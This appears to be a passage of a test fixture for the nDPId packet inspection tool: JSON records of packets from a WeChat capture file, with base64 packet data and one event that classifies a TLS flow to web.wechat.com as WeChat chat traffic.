+00940{"flow_id":34,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":581,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":568897,"pkt_caplen":443,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":443,"pkt_l4_len":409,"pkt":"8IQvSpdgeJKcD6iOCABFAAGt6YFAAEAGKkrAqAFny82XotNVAbue7PqA4AL\/34AYARUKlwAAAQEICgAxHhpFraKYFwMDAXQAAAAAAAAAAsI9TWOIX2BRYcRXm\/J9v5tqId6D\/iZcVZSk+9ZDezUa5bfbqTzd7spwcX0h1eOniofVNJxV2+C5RoWCK6bqgKrH9LTzkNfzg+uv+TEfrj1C1WG9g76DG2r2qZxHoKVjG2QSRXnxAlBQIJf259hFpPEpa3VYIzL5qR5aG+nK6UbbuOcXaOVbtmoR7Jw6VLvjFGJe2eZ28wLZrqfpDvByTtLcDArZ+XaN4VBJFPAL2hU2ViDwXszTKR7pi9AtmUmom2SR2bHJ9VwA8SXCM1lopu2ZAoLzxtutpFtPe0BrUtpMek6Hnp1mZb6keCLv5IvaAZ\/\/+NikzG+Y8WWZm1S5\/EodvCgrHTh7+EqZtyVFBQVM8JD0mQYY7LzzuIp1fU76+lgx0TKQ2fduOYYt22ax+eztDlVwUZ0pEKadfwQUR+YAQlMnmNv7u9\/aIKf+527l\/7ScgAC5kfQMnblr7yttgnU1w2JC8eszXmSSvz8="} +00499{"flow_id":36,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":596,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":834688,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABn\/GFAACwGLBDLzZeiwKgBZwG701d\/O2r75\/QtKYAYAHhjewAAAQEICkWtouUAMR4KFAMDAAEBFgMDACipqlamxow5+yVenQFNK6XxJgF7A3RPtrL\/BnQoxqXPqDLnmSaLQe+O"} +01905{"flow_id":36,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":597,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":835258,"pkt_caplen":1154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1154,"pkt_l4_len":1120,"pkt":"8IQvSpdgeJKcD6iOCABFAAR0NulAAEAG2hvAqAFny82XotNXAbvn9C0pfztrLoAYASiK7AAAAQEICgAxHlxFraLlFwMDBDsAAAAAAAAAARSUjHdUSQM5xuBUOD+IEAJUhanYifnvnLCOVJ8dO6oSX6v3frKg9tx4gSdp2ihZkQ6fKP9kyzGU7URnpYK5cAhNGyk4Ti\/QCCrzxefKRgIjjjgOjPuNu8\/h61\/XZw8iSYv5l3xS5qrHkDa1HQexqtmAC86FQV1cY+vcWu3ObVsepWx4wz7hf8Ll5ncKnKeKM\/VENGkdq7vgeW6J2DjJYDf33hL6hmX85YV32qk8fp0y9U8jH8\/bt5GRA4FEuNMEWjzzk035Dz7MBUo7Sglu5Q0EyFVzURMt1+74uVsPMtKwCK0+XOxTpCbBjX6R\/YGHMfBrED+7Cp1olqrX2UsYLMBWl61RO01c\/cXZ0Bd4iX2vM4+CVm9G3VYhlCGhnljDSE5F\/tB2paKpvYn6qFjnjmJohgbwmM1Oq5iJl5wPMbxe6mvFqN2+i3UitRxhPT7dsJaawQ+B1a3Ny\/frGsYVg1H8xBlyCnfsGuRoj0V6LdNb4Bej+ZZv4+YbiCbDbRNmiBnyax\/mODL+FoMwio+NWNjiFsgo02p7YYAb1rel0CaLvjNKd1vb+Feo7r3P+zlrRM1xd+I070jw+JlGKekjqEWUypgTwElVNFs3A9gsiJX\/NB11IRTA2sex7Eb55jSfCJNpd542MQSnyWeBrxrevpqEPhlwjCjjVRpm4cnkKwciZDFQImQhpypGyOGdM52ktMGFNcCJBiyl3hCmy9xBIw3UYctg4HT5hJVNn0zaLq9HRZ51hqIWp0FR4CqZZVMNSStHZQ0pLBNMYoxKj8OeraLoQijpReO4MIisKqsvrw1iX6aZN3\/Sogf9Pu+6I0g++n9AZUzCI\/mtij1HRWf03r1bU4rdDK6DIRfzLPjHwwdPvWxOGEzI1TuAeeetrOKLckAXDMlX7YAokwLaDkvImEyr6i\/u\/PsUY+Gz40WNC8WiE+McJ4rGmg32llln80D9IBXtC7JLU6kZCRKpZynPJA5pnpWw6uJfanzrjBNHgLo1q1IIiPESB0GDWUTqVWM2DWCHUNJFY0yt5QPDnoOKHO6XV4KdGSvI1m+gh5un9dOYc69InLjtZN70rBI+Vs7OGtwobcYNP\/tO4feeqKiqlBa3TGH\/aMnlPTeduJDrVgxeZlnMle2DuKn+alLnbgfH9eVlGWzflU8eTRGgt4lVJ+dIaORhBPyWLTrHWX85SRKM1F4ktTewlFghcBgmo3XeJZ+LJg3tvMgskskHW0MERj8h++f2jpNboRI7epk+e\/UrXflT1H0TXjVcI31q1gnn6G2o8kx1liBgxyHtwzWPLrAb2VU4PUO9MrOFqAWkCoTixKZfPf82Cqq3km0wtCFNoJyYfLJNsCp\/BdWh27NK43nM\/sNNBbnwEMOYwoKqjjCjU1CA8h4EdbOR3n\/\/NLqjJRwZSKPDJ83TVud7v8Njygx5Yxw="} +02369{"flow_id":35,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":598,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":842148,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXITYtAACwG1YXLzZeiwKgBZwG701bGHFZ+HTtxzoAQAImjKAAAAQEICkXSCEwAMR4IFwMDLSLdvGeXbmOROG5Gk9\/CF5MaPGA6ixWm6kVy8v\/7R4SJbU6PzLo+F49GQHdUF+Jg+Qb\/2Vh\/TK1l4USoyONcLcHCqhKf7VGNZ52kXfwD5k9HuPwWhT7HroCRPND3yXwaD1jA7jr8boPJzKSLVRvGE0059PKzXNOUWSxt7e+A+XcHbTtG1T7AHR9\/uWzxPSnHOU\/DnyKKrReZFpn9kOZ15Dk3hWtX3poRa6RJtCTmV9KKqC4saHjilv6u+ifaVhsYKPNp5djowcejg2x8PY5+e00Go3bD5d87VRueGCWSutqGSQ1xyvNESB2rjtWRH44XemiPT9MEi9QDdyXkmXFmROFGIGu5bQyUswR\/GgR40RmJsRn7VtiZ0yuJjvsoMUR\/Owp8Pc3WbhLfiXMorrbubAesQS7yo\/BsTZwRQkoXBhYntTTRKekTmfOo+A+YpfHtEelCaJUgoG69vL1C2Ktwy2jd9X7WOSOzkW+EKzv0LcYCwNYYp7Cia3zX0sFSiEeTDgf\/mrTrbuJCn+BZBnOec5f4amZYZJ1Usk1py1fPjzhjVVLlMdbPA5UzPvUB7OQDBIZ4OHAWGDo\/qegkSs0NAXOOTs6bVWpNLVRw\/5q4XQsJgvlpa3UhNBZXNz5U7M42nxGBncRsBZjzgZ7QXJK7TmC1pD5qaIp3dXs\/\/DOsXjkLTOP3P\/8R\/JcHw5D8YrCulFithgRdHzKJp4mDV25BeA2VsJnqegQgq0R3f4EVT0y6bOUjD6rxhssgI4LF\/kPYQVPS+mIoaUd1JnDvP\/+mxC+t3n3c1UUdAza4CLK4LC\/Zd\/f7RDmkuyj70TrQnaLlfIHEuNnz93XlVvxG0MKS0ZjZww4plwIGEXKTI7KoUE4LvgMAjn8Io4ZUfVijggoGL5RM\/dCjQYsUEtiM7MpZltgHnHKTPoBmC4xlttZ978qqmtFSdEbP8rbuJ5y1m8esX954D4F24\/xOrvbFFMA3CbacQDmemFowz9NogNBZ5pY8yDXGZZfTNdvskkV+e6v5+XO4CdZKEcPQFa6VKo\/kCiuIZxr5\/XuR4hMXK8KJ9jEx1aCZBxEr20z9JgVvScJp4fGINFRTIUqZ4bT4ZMiiwYbDe5LD4\/v9QK+Fe5LqXXu3XRfttxiSIiGkbgUma+x9kA3DN3N5HaWhSx0X1Zut9E\/ry3KvG7iCuMVt8UxobEKhzFQrtAUsqz4w4LplFVqnInufEDBkOESFvWVWVWfcmkpcoPmJ5UaW4Tw3vA9pnetA\/wEif8uW2HFSEF\/CN3ib7s64YNiiG9dZhILYT9JqxZlj2JnxSQWffghZSYRQkJXfr4HvAFvj7PCI2LytTAXs8CnH6f9mqft38g0ean\/uES0HNURtnjAEXuNB\/Pvb7T1FhUJIDMXv5J9\/VT39X62y+cOThS8YNRv+5oYHTeO7Ax6a6956GDYq+SfgVdLzWvu30HYqhdC8UCld6G5PT3OTZIlJSZ3fpB4DOEzSdAYD10tgEyZCJF5xzgj5QTREikBq3UAdvR3IMWt+TSoDfYXGLdvc9QxjYvRL5eN6gdd4kEQkEnpAT7RgmVrTsTcyVa9brDzk14upBmBvzZ7fSxFfZqeW0rLe25oKNez2vzTYzkBadbgl2+QR5GD\/oTqKAqrEKVO3VlDXClVr9pj3AntbsH05+8d0pL04opCYp3mzmIebTtIPmHpjUXRk+uq9A7R7JVZoJdVFI5rR1yIJYuzfWK11cwabBBrN+rjf9ckd9JCzH7EZhHj8UZI8eRMkAOoapG5woivb9BaYcp4xO1MCPUW354Sc\/xOiO3QOvqUcFasuf88+R7OULcZTV+GV7HVhQXR0eRYVICAmq9Uz6uwCH6dJMuklymckpLWxAaDWW+FF\/zIjwcL65ruFd83tZDou"} +02357{"flow_id":35,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":599,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":842949,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXITYxAACwG1YTLzZeiwKgBZwG701bGHFwSHTtxzoAQAIn5\/wAAAQEICkXSCEwAMR4ICGha7x9NfokK1Sd0AH0QWVxsnH8QJgnV572rWL5bzcS2kdVMSoD8va9IVzznKd78g1FKHjDmPqhkMy9ocXL\/2C+stpyocpYFGs8dYBLyk73QRWVVrqscjvZzMQNuIar8XKHhjKBTjRsNucXNKePy4jw2yS2amZYdvENW6Nv4G+PzWZB4I9lcPgTHaafw3kahcZdKqvN9rEOUZXxk5\/sJTVeqKGdl6yMcEuUQgUTrt0+QIl1bltbY+8m5fEp4S06uUIZB8jURDJYff4Gm7vpW4zvWmh9ZZsZAFrpOGbzBIXP0USTM\/HArDSWxNSYbAjcLu+auSCjId54OOG9VjUK9z4VveaspG+xN2vduGcNFZTkB6s95BtfLQvnOSmGFRfQ3t5SiHf3alISharQBp6bpzVVaaszE\/QG0t6PdDgTTx5B\/LsRxWdhjX02NF1C1mspodzLgWlZWETkt4D8qRasEIusYAz\/d5ktFvbMc93Fw6auK4L7QzqPUZESCboOoJRT1ez+2Qi5KMfdlD5Ur9y52YrPj7iHP3jXipLFcq+Dnz51n7Tuc+H2H5TXX8zfp2FLcpI+EThaYL4XP2q1SUg8317d5ViBcAcBBoPY3Uu1arQT5H\/DvCvQ5RR2Phfd5lwtIBXfmgJQx16x06w3lmElZONgxfAaZyWDFtCb39lq9I83+hdk8DIyxDRGIjrXwiBwl2rzNWLHRU57E+L3QoCtzxmE2aqGtFjND6NqgiNO5o0KmNecgft9eaoxp1H2XjVXZTR+kesAJmLtM\/HinWskFDIYtYgdtP3i9DtVXWYfebbrjA4smiODI97eBebWZ8CLIiTD3+wSvxCaIaxYufTzUlfXcM6LbLgdGMNATtYuA5\/v6DyF1hTTxaZonUGB37Ai6oiH4uKTAZ7yb6ukC0cOEGnQUvDix26ISCkdT9siWJv2y13gpAWQEedWF3u6jsMd2Ul4NIBTzuph48dxkDiHhuoI0+GzaD3dVfq4MSqrRBbYKIfD7pihQP++k3CQCiPkBviQr1l+sIKvxPOaF8PogjjzmKqvawD7p2n0XQvtCaZp+HpH\/3FJCPTdWDu0PSnAJ02q8BTBMfMDPdpflqNotNmqudEYlztCY9LeMtlzmjmj6COhSha1AP4apv8vQEwBloSPeV9MzNHQ+9tg81\/e6h+Mocna3U6Ycz4ssn5pSnVU4gqnX1ljJ9JHsMj\/s34hbdgkMvJq5nrbaYXHQbMbhkYaebBVidEAqua8W9esg2\/2SgAsmdGYeNzbKWW7EDs5hV\/Pr2NLgeb\/adY6uIgjPTvpH1yIqnZTVNJq0GXd27EVh0Q226DLqrWde9xfpoxGcxasXncX6gb3bow6DJe8gV6GO9A0h27Lz7\/ulBbIWw2RgKrrNhOjI1561FUkgekwxNGLoCnaJgPYwgKV3mQgoFV+BlRtQbGz8Z+mQ1sM\/1QwzDGoYDqjTFo38VLyWzhREaRVs89SOAfYFwG1pVzuadA8Z2p3DDC3iZK0pD5mlS5TFT8LWrcU5fgWUu1tHUy1+PiWRHDljc7SXd\/hSvpi9NA\/\/wUI0iM5CrHkUPtAiHjyuG0Bgz1PfWeB11zT6oRx1uJ7qBxxg5cz3agOhmQbXM9XlBw79qyN8AeNP++YKBeoDlBtVBelzIKblAj3JYysOTN7pp0jePMjr+FLm1dyACVm3Q2eMvEKb2O7CyguVrBMsAz4v2hrBVUPCf73LwVB8rV3h5eeRPFiJCwMCgCBxeH6+pm7IJWAOm9gTYCCXthngW9L69mrvA0kjm4yGcu31mPk0MAZJ7BNR3i8Qxr+3hlhx27LOuyBYKqMbqAryAnCY4PymHAZ7cncPkYLvs0fuwKVvnUnYQibAYAbxd3UG4WQUQFnoEWPoXiK4HEVHA9LinN\/1"} +00425{"flow_id":35,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":600,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":842980,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0cSxAAEAGpBjAqAFny82XotNWAbsdO3HOxhxhpoAQAUJXcAAAAQEICgAxHl5F0ghM"} +02365{"flow_id":35,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":601,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":843496,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXITY1AACwG1YPLzZeiwKgBZwG701bGHGGmHTtxzoAQAImU5QAAAQEICkXSCEwAMR4IBxwWeCBtSANs1fCUZB7KofnXXOYi\/cd8z68khSuX0FgKmcVnzGHDvk2Y9bQkpE\/6SXMeCQhxjRsfqC6SUgn5fcL5NLVJTmBCF8XB8Vf64ChjYfOVs6sGbs3Fsn6dEFAJwrtw94rlk0wem79vvfc8D4s0pEbvmIxai8AT\/76ZVi7uextSFF7EizVa\/sCOfb3wiuvk\/wEAtKX+KTEkphVObh1s9OkrS4YXUaPPqpSyPpGwm9PmXwtkZWSsfKZ5CmK46YfY13\/oR4zN2m7cr8cfUzeH4OKBVV53MmC7ZZaiMGRxJU\/R46Q6X3xaWEAN6fCsQfYTMh7FnB2sc9y228GnjwfQTlPUUNIDhTaHSkFCyJEMYpwKsQwSA98TP9gHUmoOi7l9HaC1w8Pk\/22g4zVwWXIJEqchlZZsFamyW7LfU0\/f93PiteOzBIcMN0N8L5DxiO+FDX70UTKOAZV+NXjbVq3p4SHf7tCVWNFWBfCh7iBPWKwFUUWubmjbq2EzMxyTKLWwT1xISXCovoCtzUAj8M015hCdjt5C4TsLeUbFhbhGgIKms7jgKzpV2SXC\/9HuFbCXlzThZ9ZdPN6rgkcUbmNFknlVawcY9ipjqct211hH600EiTV+8y0kZ6YTHlh0XhLvc61h34\/P1lbs1WLNEDfTuQJNJMvghV9pqPkVCguQWfsRtPRP2ynPKQYYTO7A8Tf9puXs2CuK5AxVpIweTjH0a6O0j5lQTLDkbbyXrpLdsVKrcDiFyz2dnsS2b\/X8equtR9bVefW9fEYoXuo9eY5zfJTsPVntnrpWB8JwczE7YqgakiWGVbsI0I9Upz90oITT3fFumb9I0TNfpsKmyxucgrmWaUGqTA08MeIkmnh+VYMydNt\/kxqG1dw9GfR+2XYUve78IZo2lD2VMpjzMphrJGoTi\/JpGrONE0rqD7To69Ib8ptMqcsgPP6ovPtog7atxC0eokP90756FVmGV1iuT6S\/+LF6Y6H\/nQsdEFcKRx67NKLwMXipkptuCOe0DlbOS1YykueUJDtLHnAH7oJlOZNu9OnFmx6kEaaTZvcXCwFUonzm4k+gteZbhwFtSk7RSuoOZk7z1FgY5FLuWWlycC0Z2\/iXFC08uop3B4vawksGrZpyJzbdobVsbVsKMlQ9TMEgTc8lD5W\/+iJleDlrYIoT\/M3c7kqGL9kjMRgaDiLXQ35g19ZBIP5Nt\/ekEeo0bZHci\/uRCM0mkU56OltZUzfbeNbkZhiU9jTLpyzBiqGEu37uoOEh4hCkusXu7hG\/okF6WHC7UcF0saIFal4UK34aUgesrr+62fmg8z9fZ1i0p+h9fuqUDZIOUnWI7iFStRoBotP7WzUXkIh31GvrHKFUDyFWKuiFzZu8BV2Ph6vmqUpkhV4heK2wRZYa6LNgSZdfVaz9x4ikhJ\/kBlRxJxU9O0NYu84jeR+hN55hcBUULamdFsXt6w2HyyBSHaVzubDCb9dIvnaW3Py1sxao04IE8UD4sGKTS5+S25UgCEB\/iFKylVE1aHoouyPeZJUYPiChcAaKqV6V3m1mokgpub93F1XmID3KtOAJcj6+9nf7qKZRxDJJ2W3ELyE4Yo8ay\/n71rEFGSTuPpn9VozlSlY\/chk83umXgs4twvBVecfADOPZr4nUgNtJM6TGXsj5JJM3A52g5FPtKCV8T56uetNYSfPBBe6OmC7RQqrQ6GBvtCLMJa90vTYV45hdXvrobCi\/iqu5GT\/VYujrduFkG1dCNHKqGfrTw+N81zHgopiOmN6peIImW06Mdhyz8Uim3wc3b7LMUZML0GgFvD7iD4kf6dtaQj\/ChLXxCqQViR\/M0krWHJnHTnDlRncJfTE+G3ZzgXN17pmVpEimzVfZWQSL7pVhF6ntdO9Bum8xEtRM"} +02364{"flow_id":35,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":602,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":845435,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXITY5AACwG1YLLzZeiwKgBZwG701bGHGc6HTtxzoAQAIm39QAAAQEICkXSCEwAMR4IlraYSM62vg\/RlVO0c4uzg2DFpxWCxrsX+l8c8B\/\/q3FE37d4FXV2TzH3lYu2GKef+bB4H9GpMnxNaHIi5oJUalDqJbuUhLcGFrPux0bLrrpyuyJOs68kCE+cd8ldIXmYEdg8+VlkmSIBWGuzoTec59ku4UJrVtFVjAlc5ibFL316dPCzAdvFcxmLY9w8v072\/0wPAUuSL1RICi8AIw7IE5S6iHSiZWoJ5kS65R8TvxcWVmQNj0DOXoO3EPQoD\/B0v90ATMOVG+tCRouYx+eXKpQDrjOst+nXStqP2KwVGNzhxifCUeglm+91L9jIs2r1YJAqiqGHfe8HuF8BF6wyGP+lIbhSrCGFZJmOgBRqNriT16GB0PbWh1tM82IIe2MqTiwmWAd1RYTSgRzfgepU2BZ0AUfu80WRLV+hDyRHNUKrgJApKXVz\/O0jp+OuzArtJxJpd9H2C100qvtQfmfQeGkl8SH4\/lXcUz9pry6AKfYMxMpOjWtvSuhrisE7bwZlnmLdWohfHLkasGDaHS0P1OBqOYwnhko0T7MnxL7pzEyEYdeLM8+GYijXQVCj1rxnIMiR+ShxDkN9joEp5InNGwDUaTFLCi4Q5\/5zhc+0guc1NPPxssuxpFR5laJY0klzX+VH\/R6sggiK1KpsFhixWDpJREkZI8q4BumUvSaGGipAyUgFxQZtuRy4+rhIU4\/zF7ZSDmLdlSddydSTjHoAn4hd2usP1foTXCs3LGTw+zYmfHlL08X\/wQQgovCDu61RDGbaW04Yoiov0KEI8hER6YMTYVZBHeedQx43C6AA2uiWyw5V2aozgr+XEgx+Hf6Lyk0yjkgR2SEKe2jJdPwpdwJcBH5yBvVUPYcbP5L18CZkBO5vXtqXE97txA1Mna10q98bao\/Fof7vyAqyf1uKwphqYRLWd\/lY16oZlfz4PeDmVjW7W7KsaSMQtp2FPcfDY6YgCf++5OrblPNDCuiKKe817F64gbQ9akpurFiPLWnlbcd3yy0a3jfWxQ6ngFawsXjiffC7gDaKd6XuZEPLQ5HHNkCddLCE0MoITjT1hYCtmV7EbGcGIk6GOGe5n6bQ84S0DQn5kBDsjBs4yjDfNJaKerDR3AS3sHEEsfOIcf0wbBe+1mxicrO+81+6D7NT7G\/RbZpDtX+hrYPM9OUF1AixQNDwkByDzFcrS2UcvexxoNN+r1MZ1xbvNew28WifRrGZYfav4o8up3O+fhXrmfyKfMp+DyQd4T9b1oVJwK0e5DDpCJWj0+jKaNPQRY0\/ItYLjfxbeqmNOQyd7pV7R6XFuSIdeWC\/Ew3FaQVu6AXnSx4lMG0xPpggkdxkmzdjt\/EOGv9YPTcj\/RyqGmxDFbtDyTzUvKFd1jREeq3DQ\/R\/nAgbJPVExKk6xDdqnR3ViyRiD9u0HG0xchWr4HwrJ3aOG8zahOgyjDbyyHVdzMEzZB7D0aOPIvw9PSbQ+jBbIcv7a+869rpX0w3CsLuxvFWM0KxBYFcKoReRx9jUgIyLHyq4BwaBtdQiOJgVQroQ1\/IIbPX\/c\/YXAAbBlSNhXi2Ta87MRTfMjfpfgWe61M3XYVCt73FgtetOob5Vxh4VUGYv5cHtOUtvkfXzg\/aq2tYq2eWHxRLhjNGoqqCFv\/fCR\/9QqrbSbcUqXV4FoZFxfaA1MkaDBSQaLsncXSTVipwrDG5GV\/JiSEy78vVbHNU5Na1SzqOdTvn+hQ7ac6wHSlrGjo8OiyTiYGHvqERZcSXLJwC+jNPIDtCXIWsTgkqGK5HMBbYcZA+pxcVuQEfMf3lbKEpefAiaafwpEVYjLJw6fWHR0oGMM1FzQ3iHWLmSpOO06Kv2rZ1aJgigUnMCDQht8a2ur7TL1NFaJnb6VN\/P6xIzCeMMkPVpcCkpq3K6Mdb\/"} +00436{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":613,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":891345,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC0GJ53LzZeiwKgBZwG701iyhnqT53mM+KASN8htQwAAAgQFoAQCCApFraLqADEeEAEDAwc="} +00424{"flow_id":37,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":614,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":891380,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0kuhAAEAGglzAqAFny82XotNYAbvneYz4soZ6lIAQAOXShAAAAQEICgAxHmpFraLq"} +00748{"flow_id":37,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":615,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":891558,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEikulAAEAGgW3AqAFny82XotNYAbvneYz4soZ6lIAYAOW1DgAAAQEICgAxHmpFraLqFgMBAOkBAADlAwP9NQ6LikCBiVimjppT8i2VlLy8HZBkMhwiS9FNacyQcSDLK5nEKozFFehKxLSZMCTAPUR52rwta8Dt2NpTSUG7QAAg+vrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8CgoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIOjoAHQAXABiKigABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":615,"source":"wechat.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":4,"flow_first_seen":1492167455528,"flow_last_seen":1492167455891,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54104,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00426{"flow_id":34,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":617,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":929354,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0UcBAAC4G1OTLzZeiwKgBZwG701XgAv\/fnuz7+YAQAJ352gAAAQEICkWtovQAMR4Z"} +00700{"flow_id":34,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":621,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":960498,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"eJKcD6iO8IQvSpdgCABFoAD6UcFAAC4G1B3LzZeiwKgBZwG701XgAv\/fnuz7+YAYAJ1nsAAAAQEICkWtovwAMR4ZFwMDAMEzgIElE4pLfJQd348ZqSNDqad9eLAkFSn\/Qn\/aCUPmc91v4Nbf17CDphJt9xgDEWm4yV5Bd+d6hmXjgjwBMGg4KC5twbaB5ps5qAZvll8pxQG6IYBX\/XIVfQupfuS+\/xHdb+td97LCtH4IaLiyhWXnejZkJEW3wGse+Xrmf0gIjfCyD8gkUvjSd\/jG65fM1UgysG+\/Z7LwebuukPlzP8RlzXnkDRv\/YlDrAmi4dNtSRztaplua3ioOqlULZgQWuN7q"} +02360{"flow_id":36,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":635,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167456,"pkt_ts_usec":174239,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXI\/GJAACwGJq7LzZeiwKgBZwG701d\/O2su5\/QxaYAQAImGXQAAAQEICkWtozoAMR5cFwMDLW+pqlamxow5\/KVqaz8H9kh+D7lmanUu0PfOVhPSQv1L5HmytrqsqtERUlRR4C8NL3NbBqMtzn3q8Z2skLt564odY262\/p2WQdJ2o2s4R5sZJfRsKhyrWsQVFm4eAEYbZyGearsoXux6xLzBshWk1Zcle2o3dcIHCHWNIj8QYAJ2kinFO9VlUgzUiIjPj9l\/vyRLripa9XApjUSXtHU7trVZE6gNGeEqQ6vB05matU4IJXb9Jn6bwPC1CQq\/Dx09TBEdMnFewkbxevdsi79k+GnxtX1YQumNm40QUaHVBUkehN26mRHj01NbzWLozjbyT41wX05nbchtv1v+Dv9i11kdBm+LDGVmEbzRvXlLeSWgPO1V3iWcGWbgbNSL2\/PLbsW0EVKh3mxqktZZOhMYI9m4+\/rlG2GKfrH4nYENGcOZgLDVpdPoPX7X8T2Pp7Beikv2Fooneks88wQvKVtUQVvwkODqIuJV8SkNMeMU5bQUnTC9JX+tcc9MbN973c9oL9I21K\/VcvMqfA3OrBWY46EtiN\/jTwiGItXnoO6hmzTDzKXoQGopjS3jVH93AfzrnJm6zg65+6VvSWJiUgEOi+1Swj1abnCXN3iG9gmAbLPVkB56lg5A3XK8zDIRZwPCY\/5WtYy4xMwhrQ6NZ+6dvnbYp1\/1ruROlO4SXZQTwkR6yy\/IvoTraVU\/Fsh228XByuwZc+lHSOkr9zOgwelvSbGrZg3BlUuaE9sJNxr\/O7fSB1r9ch76c9OPejogztHzmIJmZ44ZkLTARGn9PN1Si+zrK3LE5l8IP5s69CGLv81HY